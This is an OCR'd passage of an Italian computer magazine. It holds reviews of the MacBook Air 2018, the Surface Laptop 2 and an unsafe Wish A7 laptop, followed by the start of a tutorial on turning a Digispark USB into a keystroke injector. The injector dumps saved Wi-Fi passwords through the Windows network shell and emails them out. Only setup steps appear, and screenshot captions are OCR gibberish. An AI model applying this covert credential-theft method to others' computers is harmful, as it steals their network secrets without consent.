presente sulla scheda madre, 
offrendo anche alcune funzioni 
extra, tra cui la criptazione dei 
dati sull’SSD, che avviene più 
velocemente, rispetto a quanto 
il processore possa consentire 
attraverso la tecnologia “File 





Vault" Inoltre il T2 gestisce anche 
il sensore per impronta digitale 
sistemato nel tasto di accensio- 
ne, che consente all'utente di 
sbloccare il notebook. Il sensore 
supporta però anche gestori di 
password esterni, come “1Pas- 
sword”. Al T2 è inoltre affidata 
anche la riproduzione di video 
nel formato HEVC (chiamato 
anche H.265). Anche i video 4K 
girano senza alcuna scattosità, 
poiché il MacBook Air provvede 
a impostare una risoluzione più 
bassa. Tutto questo è consentito 
solo da notebook dotati di pro- 
cessori potentissimi. 


Il MacBook Air 

è abbastanza veloce? 
Il processore del MacBook Air 
è un modello nuovissimo a ri- 
sparmio energetico della serie 
Y di Intel (Core i5-8210Y) e per- 
tanto la frequenza di clock (1,6 
Gigabyte) della versione 2018 
dell'Air è addirittura più bassa 
di quella offerta dal predecessore 
(1,8 GigaHertz), ma la velocità 
si rivela comunque adeguata. 
Per la velocità, l'Air 2018 non ha 
ottenuto per un soffio la valuta- 
zione “buono” poiché l’SSD ha 





&ì Costoso, ma valido. 
L'Air si rivela silenzioso, 
di lunga autonomia 

e abbastanza veloce 
per la maggior 

parte degli utilizzi 





mostrato qualche debolezza in 
fase di scrittura, raggiungendo 
al massimo la velocità di 474 
Megabyte al secondo, mentre in 
fase di lettura è stato ottenuto il 
valore massimo di 1,8 Gigabyte. 
La colpa di tutto ciò è imputabile 
alla scarsa capacità dell’SSD, che 
peri suoi 121 Gigabyte necessita 
solo di pochi chip di memoria 
e di conseguenza il controller 
dell’SSD è in grado di scrivere 
solo pochi dati. 

Con un SSD di maggior capacità 
(quindi con più chip di memoria), 
il MacBook Air dovrebbe essere 
in grado di lavorare più veloce- 
mente, ma tutto questo comporta 
una sostanziosa maggiorazione 
di prezzo pari a 250 euro per il 
modello da 250 Gigabyte, fino ad 
arrivare a 1500 euro per l’SSD da 
1,5 Terabyte. 

Un aspetto importante da tenere 
presente prima di procedere all'ac- 
quisto è che, su quasi tutti gli attua- 
li Mac, l’SSD è saldato e quindi non 
è possibile eseguire un upgrade in 
un secondo tempo. Tutto questo 
vale anche per la RAM, che in fa- 
se d'acquisto potrà essere scelta 
anche da 16 Gigabyte, ma con un 
sovraprezzo di 240 euro. 


Quando _. . 

si rivela migliore 

il MacBook Pro? 
Relativamente al prezzo, il nuovo 
Air è quasi in linea con il Mac- 
Book Pro, visto che la variante 
più piccola del Pro con uguale 
dotazione di memoria, costa solo 
170 euro in più. In compenso il 
Pro offre una velocità più elevata 
eun display piùluminoso con un 
più ampio spazio dei colori (DCI- 
P3 anziché SRGB), necessario 
però solo ai professionisti della 
fotografia e dei video, che prefe- 
riscono però spendere qualcosa 
in più e acquistare la versione 
del MacBook Pro con Touchbar 
(a partire da 2.099 euro). Solo 
questo modello vanta un pro- 
cessore quad-core, che offre un 
significativo aumento di velocità 
rispetto all’Air. 


Vale ancora , 

la pena acquistare 

il vecchio modello? 
Solo se viene messo in vendi- 
ta con uno sconto consistente, 
poiché al prezzo "normale" di 
1.100 euro, la differenza di prezzo 
è minima. Svantaggi principali 
del vecchio Air: il display è meno 
nitido, offre una luminosità più 
scarsa e inoltre la RAM rimane 
sempre di 8 Gigabyte, poiché non 
espandibile. 


Invetrina © | 


Solar do 








ce dipl 


® L'Aîr sfoggia una struttura pulita: al centro è presente l'ampio touchpad €), 
contornato dai tre pezzi costituenti la batteria ©). Sopra a questi componenti trova 
posto l'elettronica. La ventola © sul lato sinistro in alto, entra in funzione solo 


quando l'Air lavora a pieno carico 


Conclusioni 

Piuttosto costoso, visto che la 
versione più piccola del Mac- 
Book Air 2018 costa 1.379 euro e 
include una dotazione piuttosto 
misera. Questo notebook presen- 
ta comunque un'ottima qualità 





RISULTATI DEL TEST 





costruttiva, è abbastanza velo- 
ce, offre una lunga autonomia, 
rivelandosi anche gradevolmente 
silenzioso. Dispone inoltre di di- 
splay, tastiera e touchpad al top ed 
offre anche la consueta, semplice 
usabilità del MacOS. 







TAPPLE 


MACBOOK AIR 
(MRE82D/A) 


Prezzo: 1.379 euro 





Processore: Core i5-8210Y / Intel UHD 617 


Display: 13,3 pollici, 2560 x 1600 Pixel 
Dimensioni: 36,4x21,2x 1,6 centimetri 


Peso: 1250 grammi, Alimentatore 250 grammi 


Velocità di lavoro del notebook? Il piccolo SSD rallenta un po'la velocità 


Velocità (Office/elaborazione foto e video/accesso alla memoria interna) 
Velocità con i giochi (1366 x 768 Pixel / risoluzione nativa) 


Un po'lento (50,7% /41,9% /30,1%) 
Molto scattoso (10/8 fps) 


Quanto è buono il display? Display al top 


Fedeltà cromatica / distribuzione luminosità (deviazione) 


Qualità immagine (Test visivo su display) 


Qualità d'impiego del notebook in mobilità? 
Autonomia ( Video /Tempo per ricarica) 
Rumorosità (Video / a pieno carico con i giochi) 

La dotazione del dispositivo è completa? 
Memoria interna (Capacità /Tipo unità) 

Porte di connessione 


Connettività 
Facilità d'uso 





Usabilità tastiera / touchpad 
Usabilità del touchscreen 


RISULTATO DEL TEST 


Molto elevata (98,5%) / scarsa (11,4%) 


Molto elevata (priva di alterazioni) 


Lunga autonomia e molto silenzioso 


Molto lunga (7:30 / 2:40 ore ) 

Silenzioso (0,1 /4,4 Sone) 

SSD piccolo, poche porte di connessione 
121 Gigabye, SSD 


2xUSB 3.1 Tipo C con Thunderbolt / Displayport, 1 x 
cuffie / microfono 
WLAN-ac (2,4 e 5 GHz), Bluetooth 4.2 





Tastiera e touchpad al top 
Confortevole / Molto confortevole 





Manca 


Buono 7,4 





Win Magazine 15 


‘ In vetrina 


































prestazioni di alto livello? 


on la serie Surface, Microsoft 
dimostra che non solo Apple 
è in grado di realizzare tablet 
j e notebookdi una certa eleganza. 
Anche l'azienda di Redmond offre 
ora dispositivi con un design straor- 
dinario, ma a prezzi che ovviamente 
non sono da superofferta, dato che il 
modello più piccolo testato del Sur- 
face Laptop 2 costa ben 1.450 euro, 
ma vanta un'ottima dotazione e una 
pregiata qualità costruttiva. 


Chic, nitido i 

e con lunga autonomia 

Il Surface Laptop 2 è disponibile in 
quattro colorazioni (foto in basso) 
e chi non ama notebook di colore 
nero o argento, potrà scegliere tra una 
delle due alternative con colori vivaci. 
Un'altra particolarità del Surface è 
l'appoggio per le mani in Alcantara, 
dove potranno riposare confortevol- 
mente in caso di utilizzo intensivo del 


® | suoi 1.244 grammi 

rendono il Surface Laptop 2 
METANO MELGIEStA A 

così sarà possibile trasportare 

il dispositivo con una sola mano 





® Poche porte di connessione: l'utente 
dovrà accontentarsi di una porta USB 3.1, 
una Mini-Displayport e di un ingresso 
per headset (idoneo anche per le cuffie) 








® Quattro varianti 
di colore per lo 
chassis: argento 

o nero, rosso 
vivace o grigio-blu 
sfumato 








UR REVEGErIO 


Anche Micros 
Il MacBook 


Alcantara e alluminio: il Surface Laptop 2 
attira proprio gli sguardi, ma offre anche 


notebook, ma che ben presto potrà 
assumere un lookvintage, poiché le 
fibre del tessuto tendono a consu- 
masi. La tastiera del Surface è con- 
fortevole anche per scrivere, poiché 
i tasti hanno un punto di pressione 
morbido e per chi scrive parecchio, 
l'esperienza di scrittura è ottima. 
Il touchpad si rivela al top e attua 
con precisione i comandi impartiti 
dall'utente. Anche il touchscreen 
lavora con accuratezza e, se deside- 
rato, può essere gestito con uno stilo. 
La penna digitale del Surface può 
essere acquistata separatamente al 
costo di 110 euro. Il Surface Laptop 
2 può tranquillamente sostituire un 
tablet, ma con alcune limitazioni: lo 
schermo, ad esempio, può essere 
ruotato all'indietro solo parzialmen- 
te. Il display con superficie lucida 
rilascia notevoli riflessi, che possono 
diventare fastidiosi utilizzando il no- 
tebooksotto luci intense o all'aperto. 
A parte questo inconveniente, lo 
schermo è di buona qualità e, grazie 
ad un'elevata risoluzione (2.256 x 
1.504 Pixel), è estremamente niti- 
do, ricco di contrasto e in grado di 
riprodurre i colori molto fedelmente 
- condizione indispensabile per il 
fotoritocco. Inoltre gestisce perfet- 
tamente anche l'aspect ratio di 3:2, 
pocoutilizzato. Il Surface Laptop 2 è 
più leggero di numerosi altri concor- 
renti economici, infatti pesa soltanto 
1.244 grammi e anche comprensivo 
dell'alimentatore, il peso non supera 
i 1.500 grammi. Solo raramente il 
notebookdi Microsoft necessiterà di 


| Microsoft Surface Laptop 2 


pit sfida 


essere collegato alla presa elettrica, 
poiché perlavori di routine la batte- 
ria dura sei ore e addirittura sette se 
si guardano dei video e tutto questo 
consente un'autonomia più lunga di 
tre quarti d'ora rispetto alla variante 
tablet del Surface Pro. 


Performante . 

e super silenzioso 

Il processore a bordo del Surface 
vanta un consumo energetico par- 
simonioso ed è riconoscibile dalla 
lettera U presente nel nome del mo- 
dello. L'Intel Core i5-8250U è una 
CPU quad-core piuttosto veloce, 
che ha consentito al notebook di 
ottenere buoni voti per la velocità 
di lavoro. Per i giochi però, non si 
rivela indicato, poiché dotato di una 
scheda grafica poco potente, come 
tipico sui notebook ultrasottili. Co- 
me memoria interna, il Surface offre 
un SSD coninterfaccia PCIe, ma con 
tecnologia di vecchia generazione 
PCle-x2. L'SSD si rivela comunque 
più veloce di un modello con in- 
terfaccia SATA o di un hard disk, 
pur non raggiungendo la velocità 
di un SSD con tecnologia PCIe-x4. 
Nell'uso pratico, tutto questo si nota 
nel trasferimento di grandi quanti- 
tativi di dati tramite la porta USB. Il 
Surface Laptop 2 è in grado di ese- 
guire questa operazione con una 
velocità massima di 258 Megabyte 
al secondo, un valore comesi deve, 
ma non eccezionale. 

Il notebookè dotato di ventole che, 
nell'uso normale, grazie ad una 
rumorosità di solo 0,1 Sone, sono 
quasi impercettibili e l'utente dovrà 
proprio avvicinare l'orecchio al di- 
spositivo per rendersi conto che le 
ventole stiano funzionando. Anche 
a pieno carico, la rumorosità non 
supera 1,7 Sone. 


Scegliere bene 

la configurazione 

Il Surface Laptop 2 non consente di 
essere aperto, perlomeno da parte 
dell’utente e non è quindi possibile 





potenziare in un secondo tempo 
la memoria di lavoro o installare 
un SSD più capiente. Chi necessita 
di una RAM più abbondante di 8 
Gigabyte o di un SSD con capacità 
maggiore di 256 GB, dovrà fare la 
scelta al momento dell'ordine del 
dispositivo e potrà anche decidere 
se installare una CPU più veloce. La 
variante top con RAM di 16 Gigabyte, 
SSD da 1 Terabyte e Core i7 costa 
però ben 2.849 euro. Il numero delle 
porte di connessione non è però così 
elevato come il prezzo, dato che per 
monitor e accessori vari, il Surface 
Laptop 2 offre solo una porta USB 
3.1 e una Mini-Displayport e inol- 
tre dispone di un solo ingresso per 
headseto cuffie. 


Conclusioni 

Il notebook ha un prezzo piuttosto 
sostanzioso, ma giustificato dalle sue 
caratteristiche. Chi, per il proprio 
lavoro, è alla ricerca di una macchina 
leggera, silenziosa, veloce e conlun- 
gaautonomia, potrà orientarsi senza 
esitazione su questo dispositivo. È 
consigliabile acquistare subito la 
variante da 16 Gigabyte, poiché pur- 
troppo, non è possibile potenziare 
il notebookin un secondo tempo. 


@ Straordinaria sensibilità 
tattile: sul Surface Laptop 
2i palmi delle mani 
possono essere appoggiati 
su una base in Alcantara 


MICROSOFT 
SURFACE LAPTOP 2 


Prezzo: 1.450 euro 





RISULTATI DEL TEST 


Velocità di lavoro del notebook? 

Velocità con Office / nell'elaborazione di video 

Velocità coni giochi (1366 x 768 Pixel / risoluzione nativa) 
Quanto è buono il display? 

Fedeltà cromatica / ripartizione luminosità (scostamento) 
Qualità immagine (Test visivo su display ) 

Qualità d'impiego del notebook in mobilità? 
Autonomia (produttività /Video /Tempo per ricarica) 
Rumorosità (Office / video /a pieno carico / giochi) 

La dotazione del dispositivo è completa? 
Memoria interna (Capacità /Tipo unità) 

Porte di connessione 


Connettività 

Facilità d'uso 

Usabilità tastiera / touchpad 
Usabilità del touchscreen 


RISULTATO DEL TEST 





Processore: Core i5-8250U / Intel UHD 620 
Display: 13,5 pollici, 2256 x 1504 Pixel 
Dimensioni: 30,7 x 22,4x 1,6 cm 

Peso: 1.244 grammi, Alimentatore 218 grammi 
Elevata velocità; non idoneo peri giochi 
Veloce (65,9%) / veloce (55,7%) 

Scattoso (15/6 fps) 

Nitidissimo e ricco di contrasto 

Elevata (90,5%) / abbastanza scarsa (17,3%) 

Molto elevata (contrasto un po'eccessivo) 

Offre una lunga autonomia 

lunga (5:42 /7:00 / 2:04 ore ) 

Silenzioso (0,1 /0,1/1,7/1,7 Sone) 

Memoria non espandibile 

238 Gigabye, SSD 

1xUSB3.1Tipo A, 1xcuffie/microfono, 1 x Mini- 
Displayport 

WLAN-ac (2,4 e 5 GHz), Bluetooth 4.1 

Tastiera buona, touchscreen al top 
Confortevole / confortevole 


Confortevole (ben gestibile e preciso) 
Buono 7,2 
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In vetrina 


Un elegante ultrabook in superofferta a soli 240 euro? Stai alla larga 
da questo dispositivo, poiché potrebbe mettere in pericolo la tua vita! 


I ai 
sono addirittura mettere a rischio la 


vita degli utenti. Noi in redazione 

AR nm i nonabbiamomaisentito parlare del 

i  produttoreLHZMNiY, ma suWish, 

| piattaforma di superofferte dove 
| non vengono venduti dispositivi 
| sai È i diproduttoriblasonatie si punta 








ergli utenti a caccia di superof- 
pi i prodotti elettronici ma- 

de in China possono rivelarsi 
una vera cuccagna 0 diventare anche 
micidiali. Il test effettuato sull'ultra- 
bookA7 da 14 pollici evidenzia chia- 
ramente che alcuni dispositivi pos- 


solo su prezzi da sballo, si trovano 
anche queste strane quanto peri- 
colose offerte. 


A prima vista... 
Appena estratto dalla confezio- 
ne, l'A7 dotato di Windows 10, 
si nota subito che si tratta effet- 
tivamente di un notebook 
da 240 Euro: lo chassis 
di plastica, gran- 
de all'incirca 
come un 


HZMINN AT 
HIRAROOK 





L'alimentatore può prende- 
re fuoco, poiché lo spazio tra 
gli avvolgimenti di rame del 


caricabatteria in dotazione, è inferiore 
ad un millimetro. Inoltre, l'isolamento è 
stato realizzato con una vernice inade- 
guata. Nel peggiore dei casi, attraverso 
il cavo di collegamento del notebook 
potrebbe passare una corrente di 230 
Volt. Chi per estrarre la spina, poggia le 


; ; x ® Tral'avvolgimento primario e quello secondario dovrebbe © Nelmomentoin cuisi estrae l'adattatore, la corrente continua a 
dita tra alimentatore e adattatore, POtTà essere presente uno spazio di 4,8 millimetri o un isolamento passare. Se le dita toccano lo spazio tra adattatore e alimentatore, 
prendere la scossa. Pericolo di vita! protettivo, m qui lo spazio e solo di 1 millimetro! l'utente rischia di ricevere una pericolosa scossa elettrica! 
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| Wish LHZMNIY A7 Ultrabook | 


foglio di carta DIN-A4, offre una qua- 
lità costruttiva mediocre, mal’ultra- 
book si rivela comunque sottile e 
vanta un peso di 1,1 chilogrammi. 
E poiché l'economico hardware a 
bordo di questo ultrabooksi scalda 
pochissimo, il dispositivo non neces- 
sita di un sistema di raffreddamento 
e, utilizzato anche a pieno carico, 
si rivela molto silenzioso. Relativa- 
mente all'autonomia, per lavori di 
produttività la batteria ha tenuto 
duro per quattro ore di fila! 


.. Non sembrerebbe 
neanche così scadente 
Le caratteristiche sopracitate rap- 
presentanoillato positivo di questo 
dispositivo, ma non appena diamo 
una rapida occhiata alla compo- 
nentistica interna, l’esperienza è 
terrificante: a bordo del notebook 
trova posto una scheda madre, ide- 
ata per essere impiegata esclusiva- 
mente sui tablet. Essendo fissata con 
solo due viti, la mainboard non è 
assicurata saldamente allo chassis, 
doverimane libero un certo spazio. 
Il produttore ha trascurato anche di 
sistemare accuratamente la batteria, 








@ Non toccate l'alimentatore con 
le dita: tra la spina del caricabatteria 
e l'adattatore passa corrente! 


VENDITA 
PROIBITA! 


- InItalia possono essere venduti 


solo dispositivi con marchio CE. 
Un privato potrà comunque ac- 
quistare dispositivi anche senza 
marchio CE, ma se il prodotto 
viene rivenduto ad altri, il privato 
è passibile di pena. 


che è solo incollata e priva di un fis- 
saggio apposito. Poiché la batteria è 
posizionata senza alcuna protezione 
sotto la tastiera, gli spigoli vivi dei 
tasti potrebbero perforare la batteria. 
Ma abbiamo scoperto anche qual- 
cosa di più preoccupante: il cavo 
che provvede a spegnere il notebook 
quando la batteria si surriscalda, è 
troncato e rimane libero all’inter- 
no del notebook. A causa di questa 
imperfezione, nelle calde giornate 
estive, la batteria potrebbe esplode- 
re! Questo notebook da superofferta 
made in China, è stato bocciato an- 
che relativamente alla compatibili- 
tà elettromagnetica (EMC) e tutto 
questo non deve sorprendere: l'A7 
produce un numero di interferenze 
24volte più elevato rispetto ai valori 
limite e, nell'uso pratico, tutto que- 
sto potrebbe disturbare il funziona- 
mento di smartphone, babyphone 
o telefoni DECT. Nelle prove, questi 
difetti hanno fortemente penalizzato 
il dispositivo. 


Pericolo di vita 

con la ricarica 

L'elenco dei macroscopici difetti non 
è ancora completo: l'alimentatore 
non è idoneo alle prese elettriche 
europee ma solo a quelle USA e la 
dotazione include quindi un adat- 
tatore che gli utenti europei dovran- 
no utilizzare. Quando andiamo a 


scollegare il notebook dalla presa, 
l'alimentatore si sconnette dall’adat- 
tatore che a sua volta rimane attac- 
cato alla presa, e le dita potrebbero 
venire direttamente a contatto con 
la presa elettrica. Così facendo il ri- 
schio scossa è davvero elevato! 


Difetti catastrofici 


Anche la componentistica interna 
dell’alimentatore è altamente in- 
fiammabile, poiché gli spazi traivari 
componenti sono esigui e mancano 
gli isolamenti. Le conseguenze po- 
trebbero essere disastrose: le tensio- 
ni della corrente possono passare 
dai 230 Volt della bobina primaria 
ai5 Volt dell’avvolgimento seconda- 
rio. Anche in questo caso, toccando 
l'estremità del filo che arriva al no- 
tebook, l'utente rischia di prende- 
re la scossa. Nel peggiore dei casi, 
l'alimentatore può prendere fuoco. 


La vendita 

nell'UE è un reato 
L'alimentatore mostra il logo UL, 
che consente l'importazione dell'A7 
negli USA, ma la sua autenticità è 
molto incerta. Poiché manca il logo 
CE, la vendita di questo dispositivo 
è proibita in Europa. Le autorità do- 
ganali s'impegnano ad impedire la 
circolazione di questi dispositivi, ma 


In vetrina | 






® Premendo itasti, la tastiera 1 
schiaccia la batteria ‘2, fissata solo 
con uno strato di colla. 


poiché i controlli vengono effettuati 
a campione, la merce senza logo CE 
può spesso entrare ugualmente in 
possesso del cliente, che in questo 
caso però mette in pericolo la pro- 
pria vita. 


Conclusioni 

Per Office e navigazione Internet si 
rivela sufficiente anche un notebook 
economico dotato di un hardware 
senza tante pretese, ma è assoluta- 
mente necessario stare alla larga da 
questa scontatissima superoffer- 
ta cinese tramite Wish! L’A7 vanta 
una qualità costruttiva pessima, i 
componenti non sono stati verificati 
per la sicurezza e tutto questo può 
addirittura mettere a rischio la vita 
dell'utente. La mancanza del mar- 
chio CE dovrebbe assolutamente 
impedire la vendita di questo osceno 
dispositivo all'interno della UE. 


LHZMNIY 


A7 


Prezzo: 240 euro 





RISULTATI DEL TEST 


Velocità di lavoro del notebook? 


Velocità con Office / nell'elaborazione di video 
Velocità con i giochi (1366 x 768 Pixel 

Velocità per trasferimento dati da disco esterno 
Quanto è buono il display? 

Fedeltà cromatica / ripartizione luminosità 

Qualità immagine con test visivo su display integrato 


Qualità d'impiego del notebook in mobilità? 
Autonomia batteria (produttività / Video / Tempo per ricarica) 


Rumorosità 
La dotazione del dispositivo è completa? 


Memoria interna (Capacità /Tipo unità) 
Porte di connessione 
Connettività 






Facilità d'uso 

Usabilità tastiera / touchpad 
Usabilità del touchscreen 
Messa in servizio 

Malus 





Chip: Intel Atom x5-Z8350, 1,44 GHz 
Display: 13,9 pollici, 1.366 x 768 Pixel 
Peso: 1.104 grammi, Alimentatore 82 grammi 


VACIEL ME VU OIE,E] 

Lento (18,9%) / Molto lento (15,7%) 

Molto scattoso (3 fps) 

Molto lenta (33,68 MB/sec) 

Riproduzione cromatica con colori pallidi 

Scarsa (65,4%) / un pò scarsa (17,79%) 

Elevata (con colori pallidi e a seconda dell'angolo di visione) 
Silenzioso, autonomia ok 








Abbastanza lunga: (4,00 / 3,44/3,28 ore) 
Silenzioso 


Memoria interna molto scarsa 
58 Gigabye, SSD 

1xUSB3,1 Gen 1Tipo A, 1x USB2.0 
WLAN 802.11a (2,4 GHz), Bluetooth 4.0 


Mana 


Semplice 








Poco confortevole 
Scomoda / Poco confortevole 


Valutato come "insufficiente" per mancanza marchio CE, 


non sup 


mento prova EMC, mancanza di sicurezza elettrica. 


RISULTATO DEL TEST 


Insufficiente 0 
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La chiavetta scova 
) password WiFi 


Cosi usi una pendrive da 1 euro per 
recuperare tutte le password WiFi 
salvate sul nostro computer 











CRACCARE LE RETI 
WI-FI? NON SI FA! 


Nell'articolo abbiamo usato una chiavetta USB apposita- 
mente riprogrammata con un nobile fine: recuperare la pas- 
sword Wi-Fi della nostra rete o di quella di un amico che, di- 


strattamente, non l'ha trascritta da nessuna parte. È chiaro che la chia- 
vetta può anche essere usata per scopi meno decorosi come, ad esem- 
pio, scoprire le password altrui. Noi di Win Magazine non finiremo mai 
di dirti che entrare abusivamente nelle reti telematiche è un reato per- 
seguibile dalla legge. Non fare sciocchezze, non craccare le reti! 


OCcoITe 


DIGISPARK USB 
DEVELOPMENT 
BOARD 


€ 1,50 circa (3 pezzi 
circa 5 euro) 


http://bit.ly/ 
Ceeriiiino 


DIGISTUMP 
DRIVER 
vi su: CD DVD 


http:/bit.ly/2F7wLIA 


IDE ARDUINO 
Lo trovi su: CD [MDVD 
http://bit.1Y/2F61ghn 





li utilizzatori di computer sanno be- 
Ù nissimo che perdere le password del 

WiFi è una grandissima seccatura. 
Bisognerebbe cercare sul manuale del ro 
utero guardare sulla targhetta posta sotto 
di esso, a patto di non averla modificata in 
seguito, ovviamente. E per le password con 
le quali ci siamo collegati allo smartphone 
o alla rete di qualche amico? Problema su 
problema. Certo, esistono diversi metodi per 
recuperare le password delle reti. Potremmo 
installare programmi in grado di andarle 
a leggere per noi, oppure perdere un sacco 
di tempo navigando tra menu per scovare 
dove si nascondono. 
Mail modo più divertente è prendere qual- 
cosa che non c'entra nulla con le reti WiFi 
e trasformarlo in un qualcosa che possa 
risolvere il nostro problema in un attimo: 
una Digispark, ad esempio, è una piccola 
chiavetta USB con il cuore di un Arduino 
capace di eseguire dei programmi che pos 
sono interagire con il computer. 
Questa chiavetta, una volta programmata, 
è in grado di fare il lavoro sporco al posto 
nostro, andando a scovare il file con le pas 
sword e poi inviandocelo ad un indirizzo 
email da noi specificato. 
Certo, a ben vedere, un aggeggio del genere 
può essere una tentazione irresistibile anche 
per gli hacker, perché basterebbe avere ac 
cesso per qualche minuto ad un qualunque 
computer per poterne carpire le password di 
rete all'insaputa dello sventurato di turno, 
che non avrebbe modo alcuno di scoprire 
di essere stato vittima di un attacco simile, 
Fortunatamente noi non siamo hacker, enon 
useremo mai quanto contenuto in questo 
tutorial per estrapolare informazioni da un 
computer che non sia il nostro, Vero? 












Download the Arduino IDE 


ARDUINO 1.8.8 





Dawnloks 4 preview of the incoming release mn te most 
ang dugfises 


paareo feature: esperimento 


a è Scarichiamo VIDE... 


il software dal nostro supporto. 


Come funziona? 

Partiamo da un presupposto fondamen- 
tale: la chiavetta Digispark di per sé non 
cracka un bel niente. Anzi, non fa proprio 
un bel niente se non gli diciamo noi di far- 
lo. È sostanzialmente inutile se non viene 
programmata per fare qualcosa. 

Nel tutorial che potete seguire in queste 
pagine abbiamo personalizzato (program- 
mato) e caricato su di essa un software per 
fargli fare qualcosa di specifico. Molto 
specifico. 

Con poche righe di codice caricate nella 
chiavetta, abbiamo fatto in modo che la 
Digispark si trasformasse in una sorta di 
robottino che digita, al posto nostro, una 
serie di istruzioni sul PC dove è installata. 
Con questi di comandi trasmessi via shell, 
abbiamo aperto la casella di ricerca di Win- 
dows e avviato la Network Shell con i pa- 
rametri necessari affinché elencasse tutte 
le reti Wireless configurate sul sistema e 
le relative password. Poi abbiamo fatto in 
modo di scrivere queste informazioni in 


unfile (wifi.txt) e farcelo spedire al nostro 
indirizzo email. Il tutto, ovviamente, detto 
in modo piuttosto semplicistico. 





owiniaac ine Beta Version of tme Arouino IDE init 
tai fenzures This version shovis NOT 





Colleghiamoci sul sito http://bit.lIy/2R8AmMX; se è la prima vol- 
ta che lo visitiamo, dovremo accettare le impostazioni cookie 
cliccando su Accettare e proseguire, poi su Chiudere. Scorriamo la 
home del sito e clicchiamo a destra su Windows Installer per avviare 
il download dell’Arduino IDE. Nella schermata successiva un clic su 
Just download ci farà proseguire. In alternativa installa direttamente 


Installiamo l’ide di Arduino 


La chiavetta USB Digispark è un Arduino in miniatura e per poterla utilizzare occorre programmarla ad hoc. 
Installiamo lIDE di Arduino per scrivere su scheda lo speciale programma che “aspira” le password WiFi. 


9 | 
Show detais | 








mo su Close. 


Con quali sistemi 

oneratini funziona? 

Il programma che trovate sviscerato in 
questo tutorial funziona esclusivamen- 
te se sul computer nel quale inserite la 
chiavetta USB truccata si trova instal- 
lato Windows 8 o Windows 10: ovvero è 
necessario che sul PC “vittima” sia pre- 
sente la power shell di sistema. Infine, 
è opportuno far presente che per farla 
funzionare a dovere è necessario che il 
sistema operativo sia caricato e sprovvi- 
sto di password. 


A Extract: niao_usart.h 


à |. © installiamolo 
Avviamo il file appena scaricato con un doppio clic, accettiamo 
l’alert dell'account utente e proseguiamo cliccando sul pulsante 

I Agree, poi Next e infine /nstall, quindi attendiamo il completamento 

dell'installazione, nel corso della quale, cliccando su /nstalla (tre vol- 

te), dovremo dare l'ok anche all'installazione dei driver che consento- 
no l'accesso ai dispositivi Arduino collegati al PC. AI termine clicchia- 


La chiavetta Digispark arriva a casa nostra “nuda”, ovvero senza un case che possa proteg- 
gerne i suoi componenti. Se abbiamo una stampante 3D possiamo però risolvere questo 
piccolo problema in modo semplice stampandone uno. Per non sbagliare, possiamo 
prelevare un file STL da “dare in pasto” alle stampante con il quale potremo creare un 
case che renda la Digispark simile ad una comune 







TEL ESSN 

LU ERUERE LELE 

Il programma che abbiamo caricato sulla 
Digispark invia per email un file con- 
tenente SSID e Password WiFi nonché 
altre informazioni utili relative alle reti 
Wireless configurate sul computer al qua- 
le viene collegata. Non cracka nessuna 
password di posta elettronica, nessuna 
password di sistema, nessun'altra pas- 
sword. Magari in un futuro prossimo la 
riutilizzeremo per estenderne le poten- 
zialità. Stay tuned! 


chiavetta USB, proteggendola da urti e danneg- 
giamenti accidentali dei componenti interni 
e, al contempo, le dia pure un'aria molto più 
“tranquilla”, 

Link per il download: http://bit.ly/2AD7T7E 
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iUn po’ di configurazioni 


Prima di proseguire dobbiamo aggiungere i driver necessari affinché il sistema possa riconoscere la chiavetta USB 
Digispark ed utilizzarla. A tal proposito, impostiamo l’IDE affinché possa comunicare correttamente con essa. 


Questo PC » Discolocale (C:) » Programmi (86) >» Arduino > libraries > Keyboard > src 


Keyboard.cpp 
Keyboardh 


I Conget mc sperato KeybosrdfSh 


A Segorornii crt 
Degdermi.it 
4 Doaasara_ fcermezo ce 
Doegara, boctie ozio ef 
nf Sazuat cat 
Dzilt® mt 
Digant 
Ruote 
 DWwerbd ma 
(RG inonaili Divanzove 
HD. Rmusntiber ene 
1 monrutis e 


pest_metaii bet 


a Installiamo i driver della scheda USB a; Impostiamo la chiavetta per la tastiera italiana 


Se la Digispark fosse una normale chiavetta USB allora bastereb- Prima di proseguire, copiamo il file KeyboardES.h che si trova nel- 
be semplicemente inserirla in una porta USB per fare in modo che la cartella Sorgenti presente sul nostro supporto nella cartella C:) 
il sistema la riconosca e possa utilizzarla, ma così non è, quindi abbiamo —Users\NOMEUTENTE\AppData\Local\Arduino15\packages\digistump\ 
bisogno di un driver specifico. Apriamo la cartella Digistump Driver presente hardware\avr\1.6.7\libraries\DigisparkKeyboard. Dove NOMEUTENTE è 
sul nostro supporto e con un doppio clic su DPinst.exe (se hai un Windows il nome utente di Windows sul tuo computer. Questo file è la libreria conte- 
a 32 bit) o DPinst64.exe (per sistemi a 64 bit) avviamo l'installazione dei nente la mappatura corretta della tastiera italiana, indispensabile per il pro- 
driver adatti a suon di /nstalla e Fine. gramma che andremo ad utilizzare in seguito. 
Partono clelia cartella rlegià sberirte 
TE: lp fto Documento Virenk 
Lirqpm rie'ecittoo System DeAitut 


w | frichierie frei ri serio) 


queste 

Senda siePrdesincoie FI Astsereaco 23% fritiezie I rievot sà Aerhre) (64 byte Buffer). Digispark [16mb2 - o USB) I e I im repYacadume 
Tenni Tenapeesiinto > fchesbiraezianiro) Persino 

Mista ari suttpat sietiagiiono chrerte= [7] competere: (C] concamento 

Siernirg ziel compalicioner: Msnro + Digiatump SAM Boards (12-bits ARM Cortex-M3) è, Digiatemp 
{DO Visueslean irusteeri ch ine nina 

DD Abin I mggrasgemerto rie) sic 

GI destin 6 cuckce: choo 4 cevcamento 

CD Usa:necitarestero 

EI Case completo cori cacte aggressive 

A Cartina egporrenerti ato 

EA Aggiorre automaticamente festersiore siegi sierrt cienrde i sabetiaggio ( acle -> ino) 

FA Sam comete in venffcm n l sasicammerto 


URL aggitive per d Gesciene: schezle:: sc//av gite tuoentordertcom ilo farchiro-beevrri-rcier resto berkage_cigtimp_rcienpon | LOI 


Ci Liber )p_fo VarDeta \Lic:d\rthar025ypredererces.tt 


a è Aggiungiamo la Digistump a | Installiamo la scheda nell’IDE 
Avviamo Arduino e clicchiamo su Consenti Accesso per dare acces- Nell'elenco dei risultati visibile al di sotto del campo di ricerca dovre- 


so ad Internet alla Java Platform SE. Forniamo al programma gli mo portarci con il puntatore del mouse sulla prima voce (Digistump 


strumenti per collegarsi alla nostra scheda USB: Fi/e/Impostazioni e in. AVR Boards by Digistump) e cliccare sul pulsante /nstalla che appare in 


URL aggiuntive per il Gestore schede,inseriamo l'indirizzo https://raw. basso a destra, quindi attendere che vengano scaricati e installati nell’IDE le 


